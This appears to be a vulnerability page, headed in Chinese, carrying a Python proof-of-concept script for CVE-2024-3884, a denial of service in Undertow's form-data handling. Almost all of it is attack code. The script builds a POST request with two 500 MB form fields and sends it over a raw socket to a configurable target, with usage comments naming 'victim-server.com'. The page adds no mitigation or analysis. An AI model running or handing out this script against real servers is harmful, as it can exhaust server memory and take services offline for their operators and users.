CVE-2024-3884 Undertow FormEncodedDataDefinition拒绝服务漏洞

import socket import time def exploit_undertow_dos(target_host, target_port): """ CVE-2024-3884 PoC - Undertow FormEncodedDataDefinition DoS This PoC demonstrates how to trigger OutOfMemory via large form data """ # Construct malicious request with oversized form data large_data = 'A' * (500 * 1024 * 1024) # 500MB of data body = f'param1={large_data}&param2={large_data}' request = f'POST /form HTTP/1.1\r\n' request += f'Host: {target_host}:{target_port}\r\n' request += 'Content-Type: application/x-www-form-urlencoded\r\n' request += f'Content-Length: {len(body)}\r\n' request += 'Connection: close\r\n' request += '\r\n' request += body try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(request.encode()) print(f'[+] Malicious request sent to {target_host}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') # Usage: python cve-2024-3884-poc.py # target_host = 'victim-server.com' # target_port = 8080 # exploit_undertow_dos(target_host, target_port)